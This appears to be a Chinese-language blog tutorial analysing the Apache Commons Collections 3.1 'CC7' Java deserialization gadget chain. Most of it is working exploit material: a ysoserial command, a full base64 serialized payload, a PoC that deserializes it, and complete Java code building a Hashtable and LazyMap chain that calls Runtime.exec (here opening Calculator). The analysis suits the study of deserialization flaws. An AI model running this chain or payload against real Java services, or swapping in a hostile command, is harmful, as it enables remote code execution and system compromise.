利用IDEA创建一个maven
项目,导入依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
利用新的ysoserial
生成payload:
xxxxxxxxxx
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections7 'open /System/Applications/Calculator.app' |base64
得到
xxxxxxxxxx
rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAACHcIAAAACwAAAAJzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AFwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABdzcQB+AA91cQB+ABQAAAACcHVxAH4AFAAAAAB0AAZpbnZva2V1cQB+ABcAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAUc3EAfgAPdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHB0AARleGVjdXEAfgAXAAAAAXEAfgAcc3EAfgAKc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQAAnl5cQB+AC94eHEAfgAvc3EAfgACcQB+AAdzcQB+ADA/QAAAAAAADHcIAAAAEAAAAAF0AAJ6WnEAfgAveHhzcQB+AC0AAAACeA==
这里用的jdk1.8.0_121
触发Poc
:
ximport java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Poc {
public static void main(String[] args) throws IOException,ClassNotFoundException {
String base64_exp = "BASE64_EXP";
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
}
入口点变为了java.util.Hashtable
的readObject()
同CC6
,这里key
,value
都可控
这里for
循环作用是会把每个key-value
利用reconstitutionPut(table, key, value)
设置到table
里
reconstitutionPut(table, key, value)
看到1129行有个key.hashCode()
,key
又可控,立马想到CC6
的利用链
先试一试能不能构造,确实可以:
xxxxxxxxxx
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Exp {
public static void main(String[] args) throws Exception {
ConstantTransformer Runtime_class = new ConstantTransformer(java.lang.Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c","open /System/Applications/Calculator.app"}});
// 占位
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
// 真正的RCE链
Transformer[] transformers = new Transformer[]{Runtime_class, getMethod, invoke, exec};
ChainedTransformer TransformerChain = new ChainedTransformer(fakeTransformers);
Hashtable hashtable = new Hashtable();
Map lazyMap = LazyMap.decorate(hashtable, TransformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "c014");
Hashtable hashtable2 = new Hashtable(1);
hashtable2.put(tiedMapEntry,"zzz");
lazyMap.remove("c014");
// 赋值真的RCE链
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(TransformerChain, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));
oos.writeObject(hashtable2);
oos.close();
}
}
然而CC7
并非是这样,其是利用相对复杂的reconstitutionPut()
中的e.key.equals(key)
(key
,value
都可控)
Q: 这里有个hash & 0x7FFFFFFF
,干啥用的?
A: 为了使index
的第一位为0,也就是为了得到一个正数(有符号数第一位0代表正数,1代表负数)
可以看到要执行到这里e.hash
需等于hash
,e
来自tab[index]
也就是说要触发到equals(key)
必须使传入当前键与下一个键的hashCode()
相同
恰好又存在这种情况,如cc
和dD
的hashCode()
就是相同的
接下来分析e.key.equals(key)
的利用方式
要利用这个的话,首先e.key
这里不能直接是cc
或者dD
字符串,而应该是一个可控的任意对象
利用的是LazyMap
,所以e.key
这里要是一个LazyMap
对象,后文构造exp再细说
LazyMap
其类中本身没有equals()
方法
xxxxxxxxxx
public class LazyMap extends AbstractMapDecorator implements Map, Serializable
但其父类AbstractMapDecorator
的equals()
方法如下:
xxxxxxxxxx
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}
this.map
来自LazyMap
的构造方法(object
就是上面的key
,可控)
super(map)
调用AbstractMapDecorator(Map map)
this.map
这里利用链传入了HashMap
,而HashMap
中也没有equals()
,最终是调用的HashMap
的父类java.util.AbstractMap
的equals()
看到AbstractMap
的equals()
方法,其中又有m.get()
(m
来自o
,o
就是上面的object
,可控)
终究是回到了get()
同之前EXP part 1
:
xxxxxxxxxx
ConstantTransformer Runtime_class = new ConstantTransformer(java.lang.Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c","open /System/Applications/Calculator.app"}});
// 占位
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
// 真正的RCE链
Transformer[] transformers = new Transformer[]{Runtime_class, getMethod, invoke, exec};
ChainedTransformer TransformerChain = new ChainedTransformer(fakeTransformers);
ChainedTransformer TransformerChain = new ChainedTransformer(fakeTransformers);
上面说e.key
这里不能直接是cc
或者dD
字符串,而应该是一个可控的LazyMap
,设置2个lazyMap
后其hashCode()
还是相等吗?确实
EXP part 2
:
xxxxxxxxxx
Map map1 = new HashMap();
Map map2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(map1, TransformerChain);
lazyMap1.put("cc", 1);
Map lazyMap2 = LazyMap.decorate(map2, TransformerChain);
lazyMap2.put("dD", 1);
接下来是要把2个lazyMap
塞进Hashtable
EXP part 3
:
xxxxxxxxxx
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
但由于第二次put()
后lazyMap2
会多出一个cc
键
同CC6
,remove()
即可
xxxxxxxxxx
lazyMap2.remove("cc");
// 赋值真的RCE链
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(TransformerChain, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));
oos.writeObject(hashtable);
oos.close();
xxxxxxxxxx
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Exp {
public static void main(String[] args) throws Exception {
ConstantTransformer Runtime_class = new ConstantTransformer(java.lang.Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c","open /System/Applications/Calculator.app"}});
// 占位
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
// RCE 链
Transformer[] transformers = new Transformer[]{Runtime_class, getMethod, invoke, exec};
ChainedTransformer TransformerChain = new ChainedTransformer(fakeTransformers);
Map map1 = new HashMap();
Map map2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(map1, TransformerChain);
lazyMap1.put("cc", 2);
Map lazyMap2 = LazyMap.decorate(map2, TransformerChain);
lazyMap2.put("dD", 2);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 2);
// System.out.println(lazyMap1); {cc=2}
hashtable.put(lazyMap2, 2);
// System.out.println(lazyMap2); {dD=2, cc=1}
lazyMap2.remove("cc");
// 赋值真的RCE链
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(TransformerChain, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));
oos.writeObject(hashtable);
oos.close();
}
}